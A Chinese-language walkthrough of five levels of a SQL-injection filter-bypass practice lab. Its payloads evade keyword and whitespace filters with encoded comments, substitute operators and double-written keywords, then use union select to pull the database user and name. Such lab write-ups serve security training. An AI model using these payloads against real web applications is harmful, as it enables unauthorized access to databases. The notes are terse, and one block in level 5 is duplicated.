sqli-bypass靶场
level 1
尝试注入点
1
,1'
,1''
,1"
,1""
==》存在字符型单引号注入
id=1'and(1)--+
==>提示存在sql注入
bypass
and
、()
、--+
都可能存在被屏蔽掉
-
尝试#代替
--+
id=1'and(1)%23
==》 正常回显,说明–+被屏蔽了,and,()没有屏蔽
-
尝试空格
id=1'+and(1)%23
空格被绕过
-
尝试
%0a
,%0b
代替空格id=1'%0aand%0a(1)%23
==》正常回显,
%0a
没有被绕过。同理%0b
,/**/
,%09
也没 -
尝试order by
id=1'/**/order/**/by/**/10%23
==》回显正常,二分法得到列数8
-
尝试union select
id=-1'/**/union/**/select/**/1,2,3,4,5,6,7,8%23
==>回显为4,5
-
在回显位进行user,database爆破
id=-1'/**/union/**/select/**/1,2,3,user(),database(),6,7,8%23
成功爆破
level 2
尝试注入点
1
,1'
,1''
,1"
,1""
==》存在字符型单引号注入
bypass
-
id=1'--+
==》回显正常,–、空格没有被屏蔽
-
id=1'+and+(1)--+
==> 回显异常,and或者()被过滤了
-
尝试%26%26
==> 回显正常,and被过滤了,使用&&代替,()没有
-
同理
==> or也被过滤了,使用||代替
-
-
爆破列数:
id=1'+order+by+10--+
==》order by 被过滤了
-
尝试大小写绕过:
id=1'+Order+by+10--+
==>回显正常,二分法获取列数8
-
-
爆破回显位:
id=-1'+union+select+1,2,3,4,5,6,7,8--+
==>回显正常,union select没有被屏蔽,得到回显位 4,5
-
爆破字段:
id=-1'+union+select+1,2,3,user(),database(),6,7,8--+
==>回显 正常,user,database关键字没有被屏蔽,爆破成功。
level 3
尝试注入点
1
,1'
,1''
,1"
,1""
==》存在字符型单引号注入
bypass
-
空格是否被屏蔽:
id=1'--+
==>没有
-
and是否被屏蔽:
id=1'+and+1--+
==》被屏蔽
-
尝试
%26%26
,id=1'+%26%26+1--+
==> 没有被屏蔽。用%26%26代替and
-
-
order by是否被屏蔽:
id=1'+order+by+1--+
==> 没有。通过二分法,爆破列数为8
-
union select是否被屏蔽:
id=-1'+union+select+1,2,3,4,5,6,7,8--+
==> 没有,爆破列数4,5
-
爆破字段值:
id=-1'+union+select+1,2,3,user(),database(),6,7,8--+
==>回显正常,同level2
level 4
尝试注入点
略,同level3,字符型单引号注入
bypass
-
空格是否被过滤:同level3
没有
-
and是否被过滤: 同level3
同level3,使用%26%26代替and
-
order by是否被过滤
==>被过滤了
-
测试order关键字是否被过滤:
id=1'+/*order*/--+
是
-
测试那个字符被过滤:
id=1'+/*oarder*/--+
、id=1'+/*orader*/--+
or字段被过滤了,by没有
-
测试大小写绕过:
id=1'+/*oRder*/--+
被过滤
-
测试双写绕过:
id=1'+/*oorrder*/--+
被过滤
-
-
-
获取列数
-
order by因为or被过滤了,所有用不了,这里提供两种方式替代
-
group by绕过:`id=1’+group+by+10–+
`
==> 爆破8列
-
into绕过:
id=1'+into+@1,@2,@3,@4,@5,@6,@7,@8--+
注:into的值要加@,
@1,@2,@3...
==> 爆破8列
-
-
-
union select是否被屏蔽: 同level 3,没有
-
爆破字段值:同level 3
level 5
尝试注入点
略,同level3,字符型单引号注入
bypass
-
空格是否被过滤:同level3
没有
-
and是否被过滤: 同level3
同level3,使用%26%26代替and
-
order by是否被过滤
==>被过滤了,提示显示or字符别过滤了
-
or之间增加or绕过:
id=1'+oorrder+by+8--+
==>成功回显,爆破列数8
-
-
union select是否被屏蔽: 同level 3,没有
爆破字段值:同level 3
-
order by是否被过滤
==>被过滤了,提示显示or字符别过滤了
-
or之间增加or绕过:
id=1'+oorrder+by+8--+
==>成功回显,爆破列数8
-
-
union select是否被屏蔽: 同level 3,没有
-
爆破字段值:同level 3